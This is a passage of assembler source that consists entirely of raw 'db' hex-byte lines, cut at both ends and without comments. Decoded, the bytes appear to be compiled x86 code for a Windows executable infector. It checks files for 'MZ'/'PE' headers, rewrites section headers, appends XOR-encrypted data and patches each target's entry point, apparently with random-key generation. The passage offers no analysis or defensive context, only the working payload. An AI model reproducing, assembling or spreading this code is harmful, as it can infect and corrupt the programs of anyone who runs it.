001h db 0e8h, 0a2h, 014h, 000h, 000h, 0f6h, 0d0h, 024h, 001h, 0c0h, 0e0h, 005h, 00ch, 059h db 088h, 046h, 002h, 0e8h, 091h, 014h, 000h, 000h, 0f6h, 0d0h, 024h, 001h, 0c0h, 0e0h db 005h, 00ch, 041h, 088h, 046h, 003h, 0e8h, 080h, 014h, 000h, 000h, 0f6h, 0d0h, 024h db 001h, 0c0h, 0e0h, 005h, 00ch, 056h, 088h, 046h, 004h, 0e8h, 06fh, 014h, 000h, 000h db 0a8h, 001h, 074h, 01bh, 0c6h, 046h, 005h, 032h, 0c6h, 046h, 006h, 039h, 0e8h, 05eh db 014h, 000h, 000h, 0f6h, 0d0h, 024h, 001h, 0c0h, 0e0h, 005h, 00ch, 041h, 088h, 046h db 007h, 0ebh, 00ch, 0c6h, 046h, 005h, 036h, 0c6h, 046h, 006h, 036h, 0c6h, 046h, 007h db 036h, 06ah, 000h, 0ffh, 075h, 0ech, 0ffh, 075h, 008h, 0ffh, 015h, 0ach, 050h, 000h db 000h, 08dh, 043h, 0d8h, 050h, 08dh, 046h, 028h, 050h, 0e8h, 0b0h, 000h, 000h, 000h db 0ffh, 075h, 008h, 06ah, 001h, 053h, 056h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h db 0c4h, 024h, 085h, 0c0h, 075h, 020h, 0ffh, 075h, 008h, 0ffh, 015h, 0a0h, 050h, 000h db 000h, 056h, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 0ffh, 075h, 0fch, 0ffh, 015h, 0d8h db 050h, 000h, 000h, 083h, 0c4h, 00ch, 033h, 0c0h, 0ebh, 077h, 08bh, 085h, 0e8h, 0feh db 0ffh, 0ffh, 089h, 0bdh, 0cch, 0feh, 0ffh, 0ffh, 089h, 0bdh, 0d0h, 0feh, 0ffh, 0ffh db 08bh, 04eh, 010h, 003h, 04eh, 00ch, 06ah, 000h, 0ffh, 075h, 0e4h, 066h, 0c7h, 085h db 0b6h, 0feh, 0ffh, 0ffh, 001h, 000h, 0ffh, 075h, 008h, 08dh, 04ch, 001h, 0ffh, 048h db 0f7h, 0d0h, 023h, 0c8h, 089h, 08dh, 000h, 0ffh, 0ffh, 0ffh, 0ffh, 015h, 0ach, 050h db 000h, 000h, 0ffh, 075h, 008h, 08dh, 085h, 0b0h, 0feh, 0ffh, 0ffh, 06ah, 001h, 068h db 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 056h, 0ffh, 015h db 0d8h, 050h, 000h, 000h, 0ffh, 075h, 0fch, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 083h db 0c4h, 024h, 06ah, 001h, 05eh, 0ffh, 075h, 008h, 0ffh, 015h, 0a0h, 050h, 000h, 000h db 059h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 08bh, 04ch, 024h, 008h, 085h, 0c9h db 076h, 016h, 08bh, 0d1h, 057h, 08bh, 07ch, 024h, 008h, 033h, 0c0h, 0c1h, 0e9h, 002h db 0f3h, 0abh, 08bh, 0cah, 083h, 0e1h, 003h, 0f3h, 0aah, 05fh, 0c3h, 055h, 08bh, 0ech db 081h, 0ech, 044h, 001h, 000h, 000h, 053h, 056h, 057h, 068h, 074h, 014h, 000h, 000h db 0ffh, 075h, 008h, 0ffh, 015h, 09ch, 050h, 000h, 000h, 08bh, 0d8h, 059h, 085h, 0dbh db 059h, 00fh, 084h, 0fbh, 000h, 000h, 000h, 053h, 06ah, 001h, 08dh, 045h, 0b4h, 06ah db 040h, 050h, 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 075h db 00ch, 053h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 0e9h, 0d8h, 000h, 000h, 000h, 06ah db 000h, 0ffh, 075h, 0f0h, 053h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 053h, 06ah, 001h db 08dh, 085h, 0bch, 0feh, 0ffh, 0ffh, 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h db 0a4h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 0cch, 00fh, 0b7h, 0bdh db 0c2h, 0feh, 0ffh, 0ffh, 089h, 07dh, 0f8h, 08dh, 034h, 0bfh, 0c1h, 0e6h, 003h, 056h db 06ah, 001h, 0ffh, 015h, 0d4h, 050h, 000h, 000h, 059h, 089h, 045h, 0fch, 059h, 085h db 0c0h, 053h, 074h, 0aah, 0ffh, 015h, 0b4h, 050h, 000h, 000h, 053h, 057h, 06ah, 028h db 089h, 045h, 0f4h, 0ffh, 075h, 0fch, 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h db 014h, 03bh, 0c7h, 074h, 007h, 033h, 0f6h, 0e9h, 0ech, 000h, 000h, 000h, 08bh, 085h db 0f8h, 0feh, 0ffh, 0ffh, 08bh, 04dh, 00ch, 06ah, 000h, 08dh, 07ch, 008h, 0ffh, 048h db 0f7h, 0d0h, 023h, 0f8h, 08bh, 045h, 0fch, 003h, 0f0h, 08bh, 046h, 0ech, 003h, 046h db 0e8h, 050h, 053h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 053h, 0ffh, 015h, 0b4h, 050h db 000h, 000h, 089h, 045h, 00ch, 08dh, 047h, 0ffh, 06ah, 001h, 050h, 053h, 0ffh, 015h db 0ach, 050h, 000h, 000h, 080h, 065h, 00bh, 000h, 053h, 06ah, 001h, 08dh, 045h, 00bh db 06ah, 001h, 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h, 02ch, 085h, 0c0h db 075h, 019h, 053h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 0ffh, 075h, 0fch, 0ffh, 015h db 0d8h, 050h, 000h, 000h, 059h, 059h, 033h, 0c0h, 0e9h, 08fh, 000h, 000h, 000h, 06ah db 000h, 0ffh, 075h, 0f4h, 053h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 001h, 07eh, 0e8h db 053h, 0ffh, 075h, 0f8h, 001h, 07eh, 0e0h, 06ah, 028h, 0ffh, 075h, 0fch, 0ffh, 015h db 0a8h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 03bh, 045h, 0f8h, 00fh, 085h, 05bh, 0ffh db 0ffh, 0ffh, 001h, 0bdh, 0d8h, 0feh, 0ffh, 0ffh, 001h, 0bdh, 0dch, 0feh, 0ffh, 0ffh db 08bh, 04eh, 0e4h, 08bh, 085h, 0f4h, 0feh, 0ffh, 0ffh, 003h, 04eh, 0e8h, 06ah, 000h db 0ffh, 075h, 0f0h, 08dh, 04ch, 001h, 0ffh, 048h, 0f7h, 0d0h, 023h, 0c8h, 053h, 089h db 08dh, 00ch, 0ffh, 0ffh, 0ffh, 0ffh, 015h, 0ach, 050h, 000h, 000h, 053h, 06ah, 001h db 08dh, 085h, 0bch, 0feh, 0ffh, 0ffh, 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h db 0a8h, 050h, 000h, 000h, 08bh, 075h, 00ch, 083h, 0c4h, 01ch, 053h, 0ffh, 015h, 0a0h db 050h, 000h, 000h, 0ffh, 075h, 0fch, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 059h, 08bh db 0c6h, 059h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 008h, 009h db 000h, 000h, 053h, 057h, 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h db 09ch, 050h, 000h, 000h, 08bh, 0f8h, 033h, 0dbh, 059h, 03bh, 0fbh, 059h, 075h, 007h db 033h, 0c0h, 0e9h, 08dh, 000h, 000h, 000h, 057h, 06ah, 001h, 08dh, 085h, 0f8h, 0f6h db 0ffh, 0ffh, 06ah, 040h, 050h, 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h db 085h, 0c0h, 075h, 008h, 057h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 056h, 053h db 0ffh, 0b5h, 034h, 0f7h, 0ffh, 0ffh, 057h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 057h db 0beh, 0f8h, 000h, 000h, 000h, 06ah, 001h, 08dh, 085h, 038h, 0f7h, 0ffh, 0ffh, 056h db 050h, 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 035h db 053h, 0ffh, 0b5h, 034h, 0f7h, 0ffh, 0ffh, 057h, 0ffh, 015h, 0ach, 050h, 000h, 000h db 057h, 06ah, 001h, 08dh, 085h, 038h, 0f7h, 0ffh, 0ffh, 056h, 050h, 089h, 09dh, 0dch db 0f7h, 0ffh, 0ffh, 089h, 09dh, 0d8h, 0f7h, 0ffh, 0ffh, 0ffh, 015h, 0a8h, 050h, 000h db 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 003h, 06ah, 001h, 05bh, 057h, 0ffh, 015h db 0a0h, 050h, 000h, 000h, 059h, 08bh, 0c3h, 05eh, 05fh, 05bh, 0c9h, 0c3h, 055h, 08bh db 0ech, 081h, 0ech, 008h, 009h, 000h, 000h, 056h, 068h, 074h, 014h, 000h, 000h, 0ffh db 075h, 008h, 0ffh, 015h, 09ch, 050h, 000h, 000h, 08bh, 0f0h, 059h, 085h, 0f6h, 059h db 074h, 06dh, 056h, 06ah, 001h, 08dh, 085h, 0f8h, 0f6h, 0ffh, 0ffh, 06ah, 040h, 050h db 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 075h, 008h, 056h db 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 066h, 081h, 0bdh, 0f8h, 0f6h, 0ffh, 0ffh db 05ah, 04dh, 074h, 00eh, 066h, 081h, 0bdh, 0f8h, 0f6h, 0ffh, 0ffh, 04dh, 05ah, 074h db 003h, 056h, 0ebh, 02ch, 06ah, 000h, 0ffh, 0b5h, 034h, 0f7h, 0ffh, 0ffh, 056h, 0ffh db 015h, 0ach, 050h, 000h, 000h, 056h, 06ah, 001h, 08dh, 085h, 038h, 0f7h, 0ffh, 0ffh db 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h db 01ch, 085h, 0c0h, 056h, 075h, 00ch, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 033h db 0c0h, 05eh, 0c9h, 0c3h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 081h, 0bdh, 038h, 0f7h db 0ffh, 0ffh, 050h, 045h, 000h, 000h, 059h, 075h, 0e8h, 066h, 083h, 0bdh, 03eh, 0f7h db 0ffh, 0ffh, 001h, 074h, 0deh, 066h, 083h, 0bdh, 094h, 0f7h, 0ffh, 0ffh, 001h, 074h db 0d4h, 0f6h, 085h, 04fh, 0f7h, 0ffh, 0ffh, 030h, 075h, 0cbh, 066h, 081h, 0bdh, 03ch db 0f7h, 0ffh, 0ffh, 04ch, 001h, 075h, 0c0h, 06ah, 001h, 058h, 0ebh, 0bdh, 055h, 08bh db 0ech, 081h, 0ech, 054h, 003h, 000h, 000h, 08bh, 04dh, 010h, 053h, 056h, 033h, 0c0h db 08dh, 071h, 0ffh, 057h, 083h, 0e6h, 0fch, 089h, 045h, 0fch, 089h, 045h, 0f4h, 089h db 045h, 0e8h, 089h, 045h, 0f8h, 089h, 075h, 010h, 00fh, 084h, 00ch, 003h, 000h, 000h db 039h, 045h, 014h, 00fh, 084h, 003h, 003h, 000h, 000h, 08bh, 05dh, 01ch, 03bh, 0d8h db 00fh, 084h, 0f8h, 002h, 000h, 000h, 08bh, 07dh, 018h, 08dh, 04fh, 008h, 03bh, 0f1h db 00fh, 082h, 0eah, 002h, 000h, 000h, 039h, 045h, 008h, 00fh, 084h, 0e1h, 002h, 000h db 000h, 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 09ch, 050h, 000h db 000h, 059h, 089h, 045h, 0fch, 085h, 0c0h, 059h, 00fh, 084h, 0c6h, 002h, 000h, 000h db 050h, 06ah, 001h, 08dh, 045h, 0a4h, 06ah, 040h, 050h, 0ffh, 015h, 0a4h, 050h, 000h db 000h, 083h, 0c4h, 010h, 085h, 0c0h, 00fh, 084h, 0ach, 002h, 000h, 000h, 066h, 081h db 07dh, 0a4h, 05ah, 04dh, 074h, 00ch, 066h, 081h, 07dh, 0a4h, 04dh, 05ah, 00fh, 085h db 098h, 002h, 000h, 000h, 083h, 07dh, 0e0h, 000h, 00fh, 084h, 08eh, 002h, 000h, 000h db 06ah, 000h, 0ffh, 075h, 0e0h, 0ffh, 075h, 0fch, 0ffh, 015h, 0ach, 050h, 000h, 000h db 083h, 0c4h, 00ch, 085h, 0c0h, 00fh, 085h, 075h, 002h, 000h, 000h, 0ffh, 075h, 0fch db 08dh, 085h, 0ach, 0fch, 0ffh, 0ffh, 06ah, 001h, 068h, 0f8h, 000h, 000h, 000h, 050h db 0ffh, 015h, 0a4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 00fh, 084h, 053h db 002h, 000h, 000h, 081h, 0bdh, 0ach, 0fch, 0ffh, 0ffh, 050h, 045h, 000h, 000h, 00fh db 085h, 043h, 002h, 000h, 000h, 083h, 0bdh, 0d4h, 0fch, 0ffh, 0ffh, 000h, 00fh, 084h db 036h, 002h, 000h, 000h, 06ah, 000h, 0ffh, 075h, 00ch, 0ffh, 075h, 0fch, 0ffh, 015h db 0ach, 050h, 000h, 000h, 083h, 0c4h, 00ch, 085h, 0c0h, 00fh, 085h, 01dh, 002h, 000h db 000h, 08bh, 0c6h, 02bh, 0c7h, 048h, 050h, 06ah, 000h, 0e8h, 066h, 00fh, 000h, 000h db 059h, 083h, 0f8h, 004h, 059h, 073h, 006h, 083h, 065h, 01ch, 000h, 0ebh, 006h, 048h db 024h, 0fch, 089h, 045h, 01ch, 08bh, 0c6h, 02bh, 045h, 01ch, 02bh, 0c7h, 083h, 0f8h db 004h, 073h, 004h, 083h, 065h, 01ch, 000h, 08bh, 045h, 01ch, 089h, 003h, 0e8h, 0bch db 00eh, 000h, 000h, 089h, 045h, 0f4h, 033h, 0c0h, 033h, 0ffh, 089h, 045h, 008h, 085h db 0f6h, 089h, 07dh, 0ech, 00fh, 086h, 08ch, 001h, 000h, 000h, 0bbh, 000h, 002h, 000h db 000h, 08bh, 04dh, 01ch, 08dh, 090h, 000h, 002h, 000h, 000h, 03bh, 0d1h, 089h, 055h db 0f0h, 073h, 036h, 08dh, 085h, 0a4h, 0fdh, 0ffh, 0ffh, 053h, 050h, 0e8h, 0b1h, 00fh db 000h, 000h, 0ffh, 075h, 0fch, 08dh, 085h, 0a4h, 0fdh, 0ffh, 0ffh, 06ah, 001h, 053h db 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h, 018h, 085h, 0c0h, 00fh, 084h db 045h, 001h, 000h, 000h, 08bh, 045h, 0f0h, 089h, 045h, 008h, 0e9h, 030h, 001h, 000h db 000h, 03bh, 0c1h, 073h, 037h, 08bh, 0f1h, 02bh, 0f0h, 08dh, 085h, 0a4h, 0fdh, 0ffh db 0ffh, 056h, 050h, 0e8h, 073h, 00fh, 000h, 000h, 0ffh, 075h, 0fch, 08dh, 085h, 0a4h db 0fdh, 0ffh, 0ffh, 06ah, 001h, 056h, 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h db 0c4h, 018h, 085h, 0c0h, 00fh, 084h, 007h, 001h, 000h, 000h, 08bh, 045h, 01ch, 0e9h db 0efh, 000h, 000h, 000h, 08bh, 045h, 018h, 003h, 0c1h, 03bh, 0d0h, 089h, 045h, 0e4h db 073h, 03ah, 033h, 0c0h, 08bh, 04dh, 014h, 083h, 0c0h, 004h, 08bh, 00ch, 00fh, 083h db 0c7h, 004h, 033h, 04dh, 0f4h, 03bh, 0c3h, 089h, 08ch, 005h, 0a0h, 0fdh, 0ffh, 0ffh db 072h, 0e6h, 0ffh, 075h, 0fch, 08dh, 085h, 0a4h, 0fdh, 0ffh, 0ffh, 089h, 07dh, 0ech db 06ah, 001h, 053h, 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h, 010h, 0e9h db 06ch, 0ffh, 0ffh, 0ffh, 039h, 045h, 008h, 073h, 06eh, 08bh, 045h, 018h, 03bh, 0f8h db 073h, 02ch, 08bh, 04dh, 014h, 02bh, 0c7h, 08dh, 014h, 00fh, 08bh, 0c8h, 08bh, 0f2h db 08bh, 0d1h, 08dh, 0bdh, 0a4h, 0fdh, 0ffh, 0ffh, 0c1h, 0e9h, 002h, 0f3h, 0a5h, 08bh db 0cah, 083h, 0e1h, 003h, 001h, 045h, 0ech, 0f3h, 0a4h, 08bh, 07dh, 0ech, 08bh, 075h db 010h, 08bh, 04dh, 01ch, 033h, 0c0h, 08bh, 055h, 0f4h, 031h, 094h, 005h, 0a4h, 0fdh db 0ffh, 0ffh, 083h, 0c0h, 004h, 03bh, 0c3h, 072h, 0efh, 02bh, 04dh, 008h, 0ffh, 075h db 0fch, 08dh, 085h, 0a4h, 0fdh, 0ffh, 0ffh, 003h, 04dh, 018h, 06ah, 001h, 051h, 050h db 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 074h, 04eh, 08bh db 045h, 0e4h, 0e9h, 004h, 0ffh, 0ffh, 0ffh, 039h, 075h, 0f0h, 00fh, 082h, 0cdh, 0feh db 0ffh, 0ffh, 02bh, 075h, 008h, 08dh, 085h, 0a4h, 0fdh, 0ffh, 0ffh, 056h, 050h, 0e8h db 07bh, 00eh, 000h, 000h, 0ffh, 075h, 0fch, 08dh, 085h, 0a4h, 0fdh, 0ffh, 0ffh, 06ah db 001h, 056h, 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h, 018h, 085h, 0c0h db 074h, 013h, 08bh, 045h, 010h, 08bh, 075h, 010h, 089h, 045h, 008h, 03bh, 0c6h, 00fh db 082h, 082h, 0feh, 0ffh, 0ffh, 0ebh, 007h, 0c7h, 045h, 0f8h, 001h, 000h, 000h, 000h db 08bh, 045h, 01ch, 08bh, 04dh, 00ch, 003h, 0c1h, 06ah, 000h, 003h, 045h, 020h, 050h db 0ffh, 075h, 0fch, 0ffh, 015h, 0ach, 050h, 000h, 000h, 0ffh, 075h, 0fch, 08bh, 085h db 0d4h, 0fch, 0ffh, 0ffh, 033h, 045h, 0f4h, 06ah, 001h, 05eh, 089h, 045h, 0e8h, 056h db 08dh, 045h, 0e8h, 06ah, 004h, 050h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h db 01ch, 085h, 0c0h, 075h, 00ch, 089h, 075h, 0f8h, 0ebh, 007h, 0c7h, 045h, 0f8h, 001h db 000h, 000h, 000h, 083h, 07dh, 0fch, 000h, 05fh, 05eh, 05bh, 074h, 00ah, 0ffh, 075h db 0fch, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 08bh, 045h, 0f8h, 0f7h, 0d8h, 01bh db 0c0h, 0f7h, 0d0h, 023h, 045h, 0f4h, 0c9h, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 014h db 009h, 000h, 000h, 053h, 056h, 057h, 033h, 0ffh, 068h, 0ffh, 003h, 000h, 000h, 057h db 089h, 07dh, 0f8h, 089h, 07dh, 0fch, 0e8h, 00fh, 00dh, 000h, 000h, 08bh, 0f0h, 06ah db 001h, 003h, 075h, 010h, 056h, 0ffh, 075h, 008h, 0e8h, 036h, 0f3h, 0ffh, 0ffh, 08bh db 0d8h, 083h, 0c4h, 014h, 03bh, 0dfh, 00fh, 084h, 076h, 001h, 000h, 000h, 0ffh, 075h db 014h, 08dh, 045h, 0f8h, 050h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 056h, 053h, 0ffh db 075h, 008h, 0e8h, 04dh, 0fch, 0ffh, 0ffh, 083h, 0c4h, 01ch, 03bh, 0c7h, 089h, 045h db 00ch, 00fh, 084h, 051h, 001h, 000h, 000h, 068h, 0ffh, 08fh, 001h, 000h, 068h, 000h db 050h, 000h, 000h, 0e8h, 0beh, 00ch, 000h, 000h, 08bh, 0f0h, 06ah, 001h, 056h, 089h db 075h, 0f4h, 0ffh, 015h, 0d4h, 050h, 000h, 000h, 083h, 0c4h, 010h, 03bh, 0c7h, 089h db 045h, 014h, 00fh, 084h, 026h, 001h, 000h, 000h, 08dh, 085h, 0ech, 0f6h, 0ffh, 0ffh db 050h, 0ffh, 075h, 008h, 0e8h, 0dah, 0f0h, 0ffh, 0ffh, 059h, 085h, 0c0h, 059h, 00fh db 084h, 003h, 001h, 000h, 000h, 08bh, 045h, 0f8h, 003h, 0c3h, 050h, 08dh, 085h, 0ech db 0f6h, 0ffh, 0ffh, 050h, 0e8h, 0f0h, 0f1h, 0ffh, 0ffh, 059h, 03bh, 0c7h, 059h, 00fh db 084h, 0e7h, 000h, 000h, 000h, 0ffh, 075h, 00ch, 0ffh, 075h, 010h, 050h, 056h, 0ffh db 075h, 014h, 0e8h, 0eah, 0eeh, 0ffh, 0ffh, 083h, 0c4h, 014h, 085h, 0c0h, 00fh, 084h db 0cch, 000h, 000h, 000h, 06ah, 002h, 056h, 0ffh, 075h, 008h, 0e8h, 07eh, 0f2h, 0ffh db 0ffh, 08bh, 0d8h, 083h, 0c4h, 00ch, 03bh, 0dfh, 00fh, 084h, 0b4h, 000h, 000h, 000h db 08dh, 085h, 0ech, 0f6h, 0ffh, 0ffh, 050h, 0ffh, 075h, 008h, 0e8h, 072h, 0f0h, 0ffh db 0ffh, 059h, 085h, 0c0h, 059h, 00fh, 084h, 09bh, 000h, 000h, 000h, 08dh, 085h, 0ech db 0f6h, 0ffh, 0ffh, 053h, 050h, 0e8h, 08dh, 0f1h, 0ffh, 0ffh, 02bh, 085h, 060h, 0f7h db 0ffh, 0ffh, 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 089h, 085h, 054h, 0f7h db 0ffh, 0ffh, 0ffh, 015h, 09ch, 050h, 000h, 000h, 08bh, 0f0h, 083h, 0c4h, 010h, 03bh db 0f7h, 074h, 06bh, 057h, 053h, 056h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 056h, 06ah db 001h, 0ffh, 075h, 0f4h, 0ffh, 075h, 014h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h db 0c4h, 01ch, 085h, 0c0h, 074h, 044h, 057h, 06ah, 03ch, 056h, 0ffh, 015h, 0ach, 050h db 000h, 000h, 056h, 06ah, 001h, 08dh, 045h, 0fch, 06ah, 004h, 050h, 0ffh, 015h, 0a4h db 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 024h, 08bh, 045h, 0fch, 057h db 083h, 0c0h, 028h, 050h, 056h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 056h, 06ah, 001h db 08dh, 085h, 054h, 0f7h, 0ffh, 0ffh, 06ah, 004h, 050h, 0ffh, 015h, 0a8h, 050h, 000h db 000h, 083h, 0c4h, 01ch, 056h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 059h, 0ffh, 075h db 014h, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 059h, 05fh, 05eh, 033h, 0c0h, 05bh, 0c9h db 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 010h, 009h, 000h, 000h, 053h, 056h, 057h, 06ah db 014h, 06ah, 00ah, 0e8h, 060h, 00bh, 000h, 000h, 08bh, 07dh, 010h, 0c1h, 0e0h, 00ah db 001h, 045h, 014h, 057h, 06ah, 001h, 0ffh, 015h, 0d4h, 050h, 000h, 000h, 08bh, 0f0h db 083h, 0c4h, 010h, 085h, 0f6h, 00fh, 084h, 0f8h, 000h, 000h, 000h, 085h, 0ffh, 076h db 012h, 08bh, 045h, 00ch, 08bh, 0ceh, 02bh, 0c6h, 08bh, 0d7h, 08ah, 01ch, 008h, 088h db 019h, 041h, 04ah, 075h, 0f7h, 08bh, 045h, 018h, 033h, 0dbh, 06ah, 064h, 06ah, 00ah db 089h, 01ch, 006h, 089h, 07dh, 0fch, 0e8h, 065h, 00bh, 000h, 000h, 059h, 085h, 0c0h db 059h, 076h, 052h, 08dh, 045h, 0f8h, 050h, 0ffh, 075h, 0fch, 056h, 0e8h, 092h, 0d7h db 0ffh, 0ffh, 056h, 08bh, 0f8h, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 083h, 0c4h, 010h db 085h, 0ffh, 00fh, 084h, 0a7h, 000h, 000h, 000h, 08dh, 045h, 0fch, 050h, 0ffh, 075h db 0f8h, 057h, 0e8h, 071h, 0d7h, 0ffh, 0ffh, 057h, 08bh, 0f0h, 0ffh, 015h, 0d8h, 050h db 000h, 000h, 083h, 0c4h, 010h, 085h, 0f6h, 00fh, 084h, 086h, 000h, 000h, 000h, 06ah db 064h, 06ah, 00ah, 043h, 0e8h, 013h, 00bh, 000h, 000h, 059h, 03bh, 0d8h, 059h, 072h db 0aeh, 0ffh, 075h, 008h, 08bh, 07dh, 0fch, 0e8h, 0c3h, 0f3h, 0ffh, 0ffh, 085h, 0c0h db 059h, 075h, 009h, 056h, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 0ebh, 05ch, 08bh, 045h db 014h, 003h, 0c7h, 050h, 0ffh, 075h, 008h, 0e8h, 0c1h, 0f6h, 0ffh, 0ffh, 08bh, 0d8h db 059h, 085h, 0dbh, 059h, 074h, 0e1h, 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h db 0ffh, 015h, 09ch, 050h, 000h, 000h, 059h, 089h, 045h, 010h, 085h, 0c0h, 059h, 074h db 0cah, 06ah, 000h, 053h, 050h, 0ffh, 015h, 0ach, 050h, 000h, 000h, 0ffh, 075h, 010h db 06ah, 001h, 057h, 056h, 0ffh, 015h, 0a8h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 085h db 0c0h, 075h, 016h, 056h, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 0ffh, 075h, 010h, 0ffh db 015h, 0a0h, 050h, 000h, 000h, 059h, 059h, 033h, 0c0h, 0ebh, 07ch, 0ffh, 075h, 014h db 06ah, 001h, 0ffh, 015h, 0d4h, 050h, 000h, 000h, 059h, 089h, 045h, 00ch, 085h, 0c0h db 059h, 074h, 026h, 0ffh, 075h, 014h, 050h, 0e8h, 0d7h, 00ah, 000h, 000h, 0ffh, 075h db 010h, 06ah, 001h, 0ffh, 075h, 014h, 0ffh, 075h, 00ch, 0ffh, 015h, 0a8h, 050h, 000h db 000h, 0ffh, 075h, 00ch, 0ffh, 015h, 0d8h, 050h, 000h, 000h, 083h, 0c4h, 01ch, 0ffh db 075h, 010h, 0ffh, 015h, 0a0h, 050h, 000h, 000h, 056h, 0ffh, 015h, 0d8h, 050h, 000h db 000h, 08dh, 085h, 0f0h, 0f6h, 0ffh, 0ffh, 050h, 0ffh, 075h, 008h, 0e8h, 033h, 0eeh db 0ffh, 0ffh, 08dh, 085h, 0f0h, 0f6h, 0ffh, 0ffh, 053h, 050h, 0e8h, 09ah, 0efh, 0ffh db 0ffh, 003h, 0dfh, 053h, 050h, 08dh, 085h, 0f0h, 0f6h, 0ffh, 0ffh, 050h, 0ffh, 075h db 008h, 0e8h, 008h, 000h, 000h, 000h, 083h, 0c4h, 028h, 05fh, 05eh, 05bh, 0c9h, 0c3h db 055h, 08bh, 0ech, 083h, 0ech, 018h, 056h, 08dh, 045h, 0f4h, 057h, 050h, 08bh, 07dh db 00ch, 08dh, 045h, 0f0h, 050h, 08dh, 045h, 0f8h, 050h, 08dh, 045h, 0ech, 050h, 057h db 0ffh, 075h, 008h, 033h, 0f6h, 089h, 075h, 0f8h, 089h, 075h, 0f0h, 089h, 075h, 0f4h db 089h, 075h, 0e8h, 089h, 075h, 0ech, 0e8h, 070h, 002h, 000h, 000h, 083h, 0c4h, 018h db 085h, 0c0h, 074h, 017h, 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h db 09ch, 050h, 000h, 000h, 059h, 03bh, 0c6h, 059h, 089h, 045h, 0fch, 075h, 007h, 033h db 0c0h, 0e9h, 047h, 002h, 000h, 000h, 0ffh, 075h, 014h, 057h, 0e8h, 01ch, 0efh, 0ffh db 0ffh, 08bh, 04fh, 074h, 08bh, 055h, 010h, 003h, 0d1h, 02bh, 04dh, 0f8h, 068h, 000h db 028h, 000h, 000h, 06ah, 001h, 003h, 0c8h, 089h, 055h, 010h, 089h, 04dh, 0e8h, 0ffh db 015h, 0d4h, 050h, 000h, 000h, 08bh, 0f8h, 083h, 0c4h, 010h, 03bh, 0feh, 00fh, 084h db 005h, 002h, 000h, 000h, 053h, 0bbh, 000h, 002h, 000h, 000h, 053h, 06ah, 001h, 0e8h db 026h, 009h, 000h, 000h, 050h, 08dh, 047h, 005h, 050h, 068h, 0ffh, 000h, 000h, 000h db 056h, 056h, 056h, 06ah, 007h, 0e8h, 081h, 0d6h, 0ffh, 0ffh, 08bh, 0f0h, 053h, 083h db 0c6h, 005h, 06ah, 001h, 0c6h, 004h, 03eh, 060h, 046h, 0e8h, 000h, 009h, 000h, 000h db 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h, 06ah, 010h, 050h, 050h, 050h, 06ah, 007h db 0e8h, 05ch, 0d6h, 0ffh, 0ffh, 083h, 0c4h, 048h, 003h, 0f0h, 080h, 00ch, 03eh, 0ffh db 0ffh, 075h, 00ch, 046h, 0ffh, 075h, 008h, 0c6h, 004h, 03eh, 035h, 046h, 0e8h, 0b9h db 002h, 000h, 000h, 053h, 089h, 004h, 03eh, 06ah, 001h, 083h, 0c6h, 004h, 